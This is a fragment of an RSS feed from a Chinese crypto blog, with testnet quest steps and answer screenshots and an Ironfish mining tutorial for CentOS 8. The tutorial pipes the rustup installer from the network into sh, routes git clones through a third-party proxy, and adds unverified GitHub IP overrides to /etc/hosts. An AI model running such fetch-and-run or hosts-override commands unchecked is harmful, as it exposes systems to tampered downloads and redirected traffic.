src="https://storage.googleapis.com/papyrus_images/4d7d5337ce5f168aa47d102aa12a006d73d37a1fb3da94e052b784466683f8a7.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>4设置代币名称，部署</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/982cf14f935181196f84e2a31b93d25c412225bd0dc3970e24f3974a6fffa0dc.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>5.设置claim条件(设置claim公开 单个钱包上限10 保存)</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/7783714dc1853851e0c77c84d17c6325d070a9eb4c408793125eafc7cea950c1.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/639db1e32c6900fcdb07b88e9e7d964dfa1d9d62736254e032762ed68e2a50b9.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>6.其他步骤可以参考官方给的文档 （claim 10个代币，给官方转1个）</p><p>     官方钱包： 0x630900fB257fAfEf02491368062d50d6677d9D75</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.linea.build/use-linea/explore/use-thirdweb">https://docs.linea.build/use-linea/explore/use-thirdweb</a></p><p>6.1 claim 截图 页面要拉到下面才能看到的</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/eff68081ed41fa9d8a96e04378cb94b35e961a8873e0746f61e7051e2165ba56.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>6.2 转币截图</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/171710736803b50fabb95752745f05ec1afee7646b3a90a7751c8701033b59eb.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/89d8273c7a7cb4c834689856f59be54ba35b9edbb348c6c43d5d377d01b74c6c.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h1 id="h-goplus" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">GoPlus 代币安全检测任务</h1><p>20个代币合约选择出8个无风险的代币，每个代币下面都有检测按钮，点点看就能知道哪些安全，哪些不安全了，如果是指纹浏览器或者无痕浏览器，代币位置会发生改变，要注意。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">交互网站 （做完后银河很快就可以看到分数）</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://linea.gopluslabs.io/">https://linea.gopluslabs.io/</a></p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">参考答案（注意顺序）</h2><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/418572cb080d2b42751617b2fda20b408863942ee4f9f73f381d9d46da0da4f5.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure>]]></content:encoded>
            <author>sddcg@newsletter.paragraph.com (sddcg)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/ccc27ae0099cc582dfd80b27029452a372b49d026af28e2275dcf6e2d87a0708.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[第二次实验]]></title>
            <link>https://paragraph.com/@sddcg/3zSpw1k9QicaVEFVbwQ6</link>
            <guid>3zSpw1k9QicaVEFVbwQ6</guid>
            <pubDate>Mon, 28 Mar 2022 06:25:18 GMT</pubDate>
            <description><![CDATA[已经花费了40$了，也没见兔子洞给我技能。 真实浪费钱啊啊]]></description>
            <content:encoded><![CDATA[<p>已经花费了40$了，也没见兔子洞给我技能。</p><p>真实浪费钱啊啊</p>]]></content:encoded>
            <author>sddcg@newsletter.paragraph.com (sddcg)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/19ca3d1bafffea6a1cd312c87610f9eefec0994f7f72c5d46f3819ff10ada256.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[hello]]></title>
            <link>https://paragraph.com/@sddcg/hello-2</link>
            <guid>kkWBV4qWe1mSkCmFTvts</guid>
            <pubDate>Fri, 25 Mar 2022 10:21:31 GMT</pubDate>
            <description><![CDATA[Share your voice by publishing an original post on Mirror and minting it on-chain as an NFT. You can read the Pathfinder Guide below to learn more, or you can just get writing. Not sure what to write about? How about telling your web3 origin story? We&apos;d love to learn how you first fell down the crypto rabbit hole: after you mint your article, make sure to come share it with us in the RabbitHole Discord!]]></description>
            <content:encoded><![CDATA[<p>Share your voice by publishing an original post on Mirror and minting it on-chain as an NFT. You can read the Pathfinder Guide below to learn more, or you can just get writing.</p><p>Not sure what to write about? How about telling your web3 origin story? We&apos;d love to learn how you first fell down the crypto rabbit hole: <strong>after you mint your article, make sure to come share it with us in the </strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.gg/G9XbdKfWgz"><strong>RabbitHole Discord</strong></a><strong>!</strong></p>]]></content:encoded>
            <author>sddcg@newsletter.paragraph.com (sddcg)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/19ca3d1bafffea6a1cd312c87610f9eefec0994f7f72c5d46f3819ff10ada256.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Ironfish铁鱼挖矿教程 CentOS 8 ]]></title>
            <link>https://paragraph.com/@sddcg/ironfish-centos-8</link>
            <guid>KerSN4tj4LoO00U1CGPN</guid>
            <pubDate>Tue, 07 Dec 2021 09:13:33 GMT</pubDate>
            <description><![CDATA[Ironfish 铁鱼挖矿已经开始了，但官方的教程实在不敢恭维，官方建议的docker我觉得性能会低，所以在CentOS下，基于源码自行编译。经过测试CentOS7存在大量问题，安装很不方便，强烈建议使用CentOS8.首先准备一台服务器，CPU核心数要多一些，8核+，内存要求不高，8G就差不多 提供付费安装服务（微信：t52861700 注明付费装铁鱼）， 200元一台（量大从优）安装 node.js 16dnf module install nodejs:16 centos8以前的版本没有dnf ，也可以手动下载安装 nodejswget https://nodejs.org/dist/v16.13.1/node-v16.13.1-linux-x64.tar.xz xz -d node-v16.13.1-linux-x64.tar.xz tar -xvf node-v16.13.1-linux-x64.tar ln -s /root/node-v16.13.1-linux-x64/bin/node /usr/bin/node ln -s /root/node-v16.13.1...]]></description>
            <content:encoded><![CDATA[<p>Ironfish 铁鱼挖矿已经开始了，但官方的教程实在不敢恭维，官方建议的docker我觉得性能会低，所以在CentOS下，基于源码自行编译。经过测试CentOS7存在大量问题，安装很不方便，强烈建议使用CentOS8.</p><blockquote><p>首先准备一台服务器，CPU核心数要多一些，8核+，内存要求不高，8G就差不多</p><p>提供付费安装服务（微信：t52861700 注明付费装铁鱼）， 200元一台（量大从优）</p></blockquote><ol><li><p>安装 node.js 16</p><pre data-type="codeBlock" text="dnf module install nodejs:16
"><code>dnf <span class="hljs-keyword">module</span> install nodejs:<span class="hljs-number">16</span>
</code></pre><blockquote><p>centos8以前的版本没有dnf ，也可以手动下载安装 nodejs</p><pre data-type="codeBlock" text="wget https://nodejs.org/dist/v16.13.1/node-v16.13.1-linux-x64.tar.xz 
xz -d node-v16.13.1-linux-x64.tar.xz 
tar -xvf node-v16.13.1-linux-x64.tar
ln -s /root/node-v16.13.1-linux-x64/bin/node /usr/bin/node
ln -s /root/node-v16.13.1-linux-x64/bin/npm /usr/bin/npm
ln -s /root/node-v16.13.1-linux-x64/bin/npx /usr/bin/npx
export PATH=/root/node-v16.13.1-linux-x64/bin/:$PATH
echo &apos;export PATH=/root/node-v16.13.1-linux-x64/bin/:$PATH&apos; &gt;&gt; ~/.bashrc 
source ~/.bashrc
"><code>wget https:<span class="hljs-comment">//nodejs.org/dist/v16.13.1/node-v16.13.1-linux-x64.tar.xz </span>
xz <span class="hljs-operator">-</span>d node<span class="hljs-operator">-</span>v16<span class="hljs-number">.13</span><span class="hljs-number">.1</span><span class="hljs-operator">-</span>linux<span class="hljs-operator">-</span>x64.tar.xz 
tar <span class="hljs-operator">-</span>xvf node<span class="hljs-operator">-</span>v16<span class="hljs-number">.13</span><span class="hljs-number">.1</span><span class="hljs-operator">-</span>linux<span class="hljs-operator">-</span>x64.tar
ln <span class="hljs-operator">-</span>s <span class="hljs-operator">/</span>root<span class="hljs-operator">/</span>node<span class="hljs-operator">-</span>v16<span class="hljs-number">.13</span><span class="hljs-number">.1</span><span class="hljs-operator">-</span>linux<span class="hljs-operator">-</span>x64<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>node <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>node
ln <span class="hljs-operator">-</span>s <span class="hljs-operator">/</span>root<span class="hljs-operator">/</span>node<span class="hljs-operator">-</span>v16<span class="hljs-number">.13</span><span class="hljs-number">.1</span><span class="hljs-operator">-</span>linux<span class="hljs-operator">-</span>x64<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>npm <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>npm
ln <span class="hljs-operator">-</span>s <span class="hljs-operator">/</span>root<span class="hljs-operator">/</span>node<span class="hljs-operator">-</span>v16<span class="hljs-number">.13</span><span class="hljs-number">.1</span><span class="hljs-operator">-</span>linux<span class="hljs-operator">-</span>x64<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>npx <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>npx
export PATH<span class="hljs-operator">=</span><span class="hljs-operator">/</span>root<span class="hljs-operator">/</span>node<span class="hljs-operator">-</span>v16<span class="hljs-number">.13</span><span class="hljs-number">.1</span><span class="hljs-operator">-</span>linux<span class="hljs-operator">-</span>x64<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>:$PATH
echo <span class="hljs-string">'export PATH=/root/node-v16.13.1-linux-x64/bin/:$PATH'</span> <span class="hljs-operator">></span><span class="hljs-operator">></span> <span class="hljs-operator">~</span><span class="hljs-operator">/</span>.bashrc 
source <span class="hljs-operator">~</span><span class="hljs-operator">/</span>.bashrc
</code></pre></blockquote></li><li><p>安装gcc</p><pre data-type="codeBlock" text="yum install gcc gcc-c++ make 
"><code>yum install gcc gcc<span class="hljs-operator">-</span>c<span class="hljs-operator">+</span><span class="hljs-operator">+</span> make 
</code></pre></li><li><p>安装rust</p><pre data-type="codeBlock" text="curl --proto &apos;=https&apos; --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env
"><code>curl <span class="hljs-operator">-</span><span class="hljs-operator">-</span>proto <span class="hljs-string">'=https'</span> <span class="hljs-operator">-</span><span class="hljs-operator">-</span>tlsv1<span class="hljs-number">.2</span> <span class="hljs-operator">-</span>sSf https:<span class="hljs-comment">//sh.rustup.rs | sh</span>
source $HOME<span class="hljs-operator">/</span>.cargo/env
</code></pre></li><li><p>安装 yarn</p><pre data-type="codeBlock" text="npm install --global yarn
"><code>npm install <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">global</span> yarn
</code></pre></li><li><p>下载官方源代码</p><pre data-type="codeBlock" text="cd /root
git clone https://github.com/iron-fish/ironfish.git
chown -R root ironfish
"><code><span class="hljs-built_in">cd</span> /root
git <span class="hljs-built_in">clone</span> https://github.com/iron-fish/ironfish.git
<span class="hljs-built_in">chown</span> -R root ironfish
</code></pre><blockquote><p>如果没有git，通过一下命令安装</p><p>yum install git</p><p>clone较慢的话，也可以自己下载后解压缩</p><pre data-type="codeBlock" text="wget https://github.com/iron-fish/ironfish/archive/refs/heads/master.zip 
yum install -y unzip zip 
unzip ironfish-master.zip
mv ironfish-master ironfish
"><code>wget https:<span class="hljs-comment">//github.com/iron-fish/ironfish/archive/refs/heads/master.zip </span>
yum install <span class="hljs-operator">-</span>y unzip zip 
unzip ironfish<span class="hljs-operator">-</span>master.zip
mv ironfish<span class="hljs-operator">-</span>master ironfish
</code></pre></blockquote></li><li><p>编译源码</p><pre data-type="codeBlock" text="cd /root/ironfish
yarn install 
yarn build

cd /root/ironfish/ironfish-cli/
yarn build
"><code>cd <span class="hljs-operator">/</span>root<span class="hljs-operator">/</span>ironfish
yarn install 
yarn build

cd <span class="hljs-operator">/</span>root<span class="hljs-operator">/</span>ironfish<span class="hljs-operator">/</span>ironfish<span class="hljs-operator">-</span>cli<span class="hljs-operator">/</span>
yarn build
</code></pre><blockquote><p>有些系统没有自带python，如果提示python错误，请安装python3.6</p><pre data-type="codeBlock" text="yum install python36
"><code></code></pre></blockquote><blockquote><p>感谢老毕反馈的问题，如果编译源码后，在执行ironfish的相关命令出现 xxx is not a ironfish command 这类错误，可以执行</p><pre data-type="codeBlock" text="cd /root/ironfish
yarn install 
yarn build
"><code><span class="hljs-built_in">cd</span> /root/ironfish
yarn install 
yarn build
</code></pre></blockquote></li><li><p>启动节点（初次启动要同步数据比较慢）</p><pre data-type="codeBlock" text="cd /root/ironfish/ironfish-cli/
yarn ironfish start
"><code>cd <span class="hljs-operator">/</span>root<span class="hljs-operator">/</span>ironfish<span class="hljs-operator">/</span>ironfish<span class="hljs-operator">-</span>cli<span class="hljs-operator">/</span>
yarn ironfish start
</code></pre><blockquote><p>窗口不要关闭，或者把启动命令修改为后台方式</p><p>nohup yarn ironfish start &gt;nohup.log &amp;</p></blockquote></li><li><p>配置帐号（与官网注册一致）</p><pre data-type="codeBlock" text="yarn ironfish config:set blockGraffiti &quot;sddcg&quot;
"><code>yarn ironfish config:set blockGraffiti <span class="hljs-string">"sddcg"</span>
</code></pre><blockquote><p>双引号能填写自己在官网注册的帐号</p></blockquote></li><li><p>再开一个终端窗口开启挖矿</p><pre data-type="codeBlock" text="cd /root/ironfish/ironfish-cli/
yarn ironfich miners:start -t CPU核心数
或
yarn ironfich miners:start -t -1
"><code>cd <span class="hljs-operator">/</span>root<span class="hljs-operator">/</span>ironfish<span class="hljs-operator">/</span>ironfish<span class="hljs-operator">-</span>cli<span class="hljs-operator">/</span>
yarn ironfich miners:start <span class="hljs-operator">-</span>t CPU核心数
或
yarn ironfich miners:start <span class="hljs-operator">-</span>t <span class="hljs-number">-1</span>
</code></pre><blockquote><p>窗口不要关闭，或者把启动命令修改为后台方式 nohup yarn ironfich miners:start -t -1 &gt;mine.log &amp;</p></blockquote></li><li><p>官网查看积分</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://testnet.ironfish.network/leaderboard">https://testnet.ironfish.network/leaderboard</a></p><blockquote><p>每次登录都会发邮件，需要到邮箱点击链接完成登录</p><p>在search框输入自己的帐号后就能过滤自己的帐号，然后点击进入就可以查看积分情况</p></blockquote></li><li><p>水龙头领币</p><blockquote><p>目前水龙头好像有问题，领不到</p></blockquote><pre data-type="codeBlock" text="cd /root/ironfish/ironfish-cli/
yarn ironfish faucet
"><code>cd <span class="hljs-operator">/</span>root<span class="hljs-operator">/</span>ironfish<span class="hljs-operator">/</span>ironfish<span class="hljs-operator">-</span>cli<span class="hljs-operator">/</span>
yarn ironfish faucet
</code></pre></li><li><p>关于服务器，大家可以去白嫖一些云服务器厂商的免费试用款</p><p>如华为云，就提供4核8G 15天免费用</p></li><li><p>查看状态</p><pre data-type="codeBlock" text="cd /root/ironfish/ironfish-cli/  
yarn ironfish status -f
"><code>cd <span class="hljs-operator">/</span>root<span class="hljs-operator">/</span>ironfish<span class="hljs-operator">/</span>ironfish<span class="hljs-operator">-</span>cli<span class="hljs-operator">/</span>  
yarn ironfish status <span class="hljs-operator">-</span>f
</code></pre><p>下图的 mined前的数字表示你挖到的数量</p></li></ol><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/48f23e83dd60854919845af20f154e7b587314ada523e91dc74991604efc6edb.png" alt="挖矿状态" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">挖矿状态</figcaption></figure><h2 id="h-cmake" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Cmake问题</h2><pre data-type="codeBlock" text="
yum install centos-release-scl devtoolset-8-gcc*
scl enable devtoolset-8 bash
source /opt/rh/devtoolset-8/enable
yum install cmake3
alternatives --install /usr/local/bin/cmake cmake /usr/bin/cmake 10 \
--slave /usr/local/bin/ctest ctest /usr/bin/ctest \
--slave /usr/local/bin/cpack cpack /usr/bin/cpack \
--slave /usr/local/bin/ccmake ccmake /usr/bin/ccmake \
--family cmake

alternatives --install /usr/local/bin/cmake cmake /usr/bin/cmake3 20 \
--slave /usr/local/bin/ctest ctest /usr/bin/ctest3 \
--slave /usr/local/bin/cpack cpack /usr/bin/cpack3 \
--slave /usr/local/bin/ccmake ccmake /usr/bin/ccmake3 \
--family cmake

alternatives --config cmake
"><code>
yum install centos<span class="hljs-operator">-</span>release<span class="hljs-operator">-</span>scl devtoolset<span class="hljs-number">-8</span><span class="hljs-operator">-</span>gcc<span class="hljs-operator">*</span>
scl enable devtoolset<span class="hljs-number">-8</span> bash
source <span class="hljs-operator">/</span>opt<span class="hljs-operator">/</span>rh<span class="hljs-operator">/</span>devtoolset<span class="hljs-number">-8</span><span class="hljs-operator">/</span>enable
yum install cmake3
alternatives <span class="hljs-operator">-</span><span class="hljs-operator">-</span>install <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>local<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>cmake cmake <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>cmake <span class="hljs-number">10</span> \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>slave <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>local<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>ctest ctest <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>ctest \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>slave <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>local<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>cpack cpack <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>cpack \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>slave <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>local<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>ccmake ccmake <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>ccmake \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>family cmake

alternatives <span class="hljs-operator">-</span><span class="hljs-operator">-</span>install <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>local<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>cmake cmake <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>cmake3 <span class="hljs-number">20</span> \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>slave <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>local<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>ctest ctest <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>ctest3 \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>slave <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>local<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>cpack cpack <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>cpack3 \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>slave <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>local<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>ccmake ccmake <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>ccmake3 \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>family cmake

alternatives <span class="hljs-operator">-</span><span class="hljs-operator">-</span>config cmake
</code></pre><h2 id="h-openssl" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">openssl问题</h2><pre data-type="codeBlock" text="yum install openssl11
export OPENSSL_ROOT_DIR=&apos;/usr/lib64/openssl11&apos;
echo &apos;export OPENSSL_ROOT_DIR=/usr/lib64/openssl11&apos; &gt;&gt; ~/.bashrc 
export OPENSSL_INCLUDE_DIR=&apos;/usr/include/openssl11/openssl&apos;
echo &apos;export OPENSSL_INCLUDE_DIR=/usr/lib64/openssl11/openssl&apos; &gt;&gt; ~/.bashrc 
source ~/.bashrc
"><code>yum install openssl11
export OPENSSL_ROOT_DIR<span class="hljs-operator">=</span><span class="hljs-string">'/usr/lib64/openssl11'</span>
echo <span class="hljs-string">'export OPENSSL_ROOT_DIR=/usr/lib64/openssl11'</span> <span class="hljs-operator">></span><span class="hljs-operator">></span> <span class="hljs-operator">~</span><span class="hljs-operator">/</span>.bashrc 
export OPENSSL_INCLUDE_DIR<span class="hljs-operator">=</span><span class="hljs-string">'/usr/include/openssl11/openssl'</span>
echo <span class="hljs-string">'export OPENSSL_INCLUDE_DIR=/usr/lib64/openssl11/openssl'</span> <span class="hljs-operator">></span><span class="hljs-operator">></span> <span class="hljs-operator">~</span><span class="hljs-operator">/</span>.bashrc 
source <span class="hljs-operator">~</span><span class="hljs-operator">/</span>.bashrc
</code></pre><h1 id="h-updating-cratesio-index" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Updating crates.io index 速度慢的解决办法</h1><p>修改 $HOME/.cargo/config</p><pre data-type="codeBlock" text="# 放到 `$HOME/.cargo/config` 文件中
[source.crates-io]
#registry = &quot;https://github.com/rust-lang/crates.io-index&quot;

# 替换成你偏好的镜像源
replace-with = &apos;ustc&apos;
#replace-with = &apos;sjtu&apos;

# 清华大学
[source.tuna]
registry = &quot;https://mirrors.tuna.tsinghua.edu.cn/git/crates.io-index.git&quot;

# 中国科学技术大学
[source.ustc]
registry = &quot;git://mirrors.ustc.edu.cn/crates.io-index&quot;

# 上海交通大学
[source.sjtu]
registry = &quot;https://mirrors.sjtug.sjtu.edu.cn/git/crates.io-index&quot;

# rustcc社区
[source.rustcc]
registry = &quot;https://mirrors.ustc.edu.cn/crates.io-index&quot;
"><code># 放到 `$HOME<span class="hljs-operator">/</span>.cargo/config` 文件中
[source.crates-io]
#registry <span class="hljs-operator">=</span> <span class="hljs-string">"https://github.com/rust-lang/crates.io-index"</span>

# 替换成你偏好的镜像源
replace<span class="hljs-operator">-</span>with <span class="hljs-operator">=</span> <span class="hljs-string">'ustc'</span>
#replace<span class="hljs-operator">-</span>with <span class="hljs-operator">=</span> <span class="hljs-string">'sjtu'</span>

# 清华大学
[source.tuna]
registry <span class="hljs-operator">=</span> <span class="hljs-string">"https://mirrors.tuna.tsinghua.edu.cn/git/crates.io-index.git"</span>

# 中国科学技术大学
[source.ustc]
registry <span class="hljs-operator">=</span> <span class="hljs-string">"git://mirrors.ustc.edu.cn/crates.io-index"</span>

# 上海交通大学
[source.sjtu]
registry <span class="hljs-operator">=</span> <span class="hljs-string">"https://mirrors.sjtug.sjtu.edu.cn/git/crates.io-index"</span>

# rustcc社区
[source.rustcc]
registry <span class="hljs-operator">=</span> <span class="hljs-string">"https://mirrors.ustc.edu.cn/crates.io-index"</span>
</code></pre><h2 id="h-github" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">github下载慢问题</h2><p>可以使用代理 git clone <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ghproxy.com/https://github.com/iron-fish/ironfish.git">https://ghproxy.com/https://github.com/iron-fish/ironfish.git</a></p><p>在/etc/hosts增加</p><pre data-type="codeBlock" text="# GitHub520 Host Start
140.82.114.26                 alive.github.com
140.82.114.25                 live.github.com
185.199.108.154               github.githubassets.com
140.82.112.21                 central.github.com
185.199.108.133               desktop.githubusercontent.com
185.199.108.153               assets-cdn.github.com
185.199.108.133               camo.githubusercontent.com
185.199.108.133               github.map.fastly.net
199.232.69.194                github.global.ssl.fastly.net
140.82.113.3                  gist.github.com
185.199.108.153               github.io
140.82.113.3                  github.com
192.0.66.2                    github.blog
140.82.112.5                  api.github.com
185.199.108.133               raw.githubusercontent.com
185.199.108.133               user-images.githubusercontent.com
185.199.108.133               favicons.githubusercontent.com
185.199.108.133               avatars5.githubusercontent.com
185.199.108.133               avatars4.githubusercontent.com
185.199.108.133               avatars3.githubusercontent.com
185.199.108.133               avatars2.githubusercontent.com
185.199.108.133               avatars1.githubusercontent.com
185.199.108.133               avatars0.githubusercontent.com
185.199.108.133               avatars.githubusercontent.com
140.82.112.10                 codeload.github.com
52.216.16.160                 github-cloud.s3.amazonaws.com
52.217.172.41                 github-com.s3.amazonaws.com
52.216.28.148                 github-production-release-asset-2e65be.s3.amazonaws.com
52.216.152.124                github-production-user-asset-6210df.s3.amazonaws.com
52.216.169.171                github-production-repository-file-5c1aeb.s3.amazonaws.com
185.199.108.153               githubstatus.com
64.71.144.202                 github.community
23.100.27.125                 github.dev
185.199.108.133               media.githubusercontent.com
"><code># GitHub520 Host Start
<span class="hljs-number">140.82</span><span class="hljs-number">.114</span><span class="hljs-number">.26</span>                 alive.github.com
<span class="hljs-number">140.82</span><span class="hljs-number">.114</span><span class="hljs-number">.25</span>                 live.github.com
<span class="hljs-number">185.199</span><span class="hljs-number">.108</span><span class="hljs-number">.154</span>               github.githubassets.com
<span class="hljs-number">140.82</span><span class="hljs-number">.112</span><span class="hljs-number">.21</span>                 central.github.com
<span class="hljs-number">185.199</span><span class="hljs-number">.108</span><span class="hljs-number">.133</span>               desktop.githubusercontent.com
<span class="hljs-number">185.199</span><span class="hljs-number">.108</span><span class="hljs-number">.153</span>               assets<span class="hljs-operator">-</span>cdn.github.com
<span class="hljs-number">185.199</span><span class="hljs-number">.108</span><span class="hljs-number">.133</span>               camo.githubusercontent.com
<span class="hljs-number">185.199</span><span class="hljs-number">.108</span><span class="hljs-number">.133</span>               github.map.fastly.net
<span class="hljs-number">199.232</span><span class="hljs-number">.69</span><span class="hljs-number">.194</span>                github.global.ssl.fastly.net
<span class="hljs-number">140.82</span><span class="hljs-number">.113</span><span class="hljs-number">.3</span>                  gist.github.com
<span class="hljs-number">185.199</span><span class="hljs-number">.108</span><span class="hljs-number">.153</span>               github.io
<span class="hljs-number">140.82</span><span class="hljs-number">.113</span><span class="hljs-number">.3</span>                  github.com
<span class="hljs-number">192.0</span><span class="hljs-number">.66</span><span class="hljs-number">.2</span>                    github.blog
<span class="hljs-number">140.82</span><span class="hljs-number">.112</span><span class="hljs-number">.5</span>                  api.github.com
<span class="hljs-number">185.199</span><span class="hljs-number">.108</span><span class="hljs-number">.133</span>               raw.githubusercontent.com
<span class="hljs-number">185.199</span><span class="hljs-number">.108</span><span class="hljs-number">.133</span>               user<span class="hljs-operator">-</span>images.githubusercontent.com
<span class="hljs-number">185.199</span><span class="hljs-number">.108</span><span class="hljs-number">.133</span>               favicons.githubusercontent.com
<span class="hljs-number">185.199</span><span class="hljs-number">.108</span><span class="hljs-number">.133</span>               avatars5.githubusercontent.com
<span class="hljs-number">185.199</span><span class="hljs-number">.108</span><span class="hljs-number">.133</span>               avatars4.githubusercontent.com
<span class="hljs-number">185.199</span><span class="hljs-number">.108</span><span class="hljs-number">.133</span>               avatars3.githubusercontent.com
<span class="hljs-number">185.199</span><span class="hljs-number">.108</span><span class="hljs-number">.133</span>               avatars2.githubusercontent.com
<span class="hljs-number">185.199</span><span class="hljs-number">.108</span><span class="hljs-number">.133</span>               avatars1.githubusercontent.com
<span class="hljs-number">185.199</span><span class="hljs-number">.108</span><span class="hljs-number">.133</span>               avatars0.githubusercontent.com
<span class="hljs-number">185.199</span><span class="hljs-number">.108</span><span class="hljs-number">.133</span>               avatars.githubusercontent.com
<span class="hljs-number">140.82</span><span class="hljs-number">.112</span><span class="hljs-number">.10</span>                 codeload.github.com
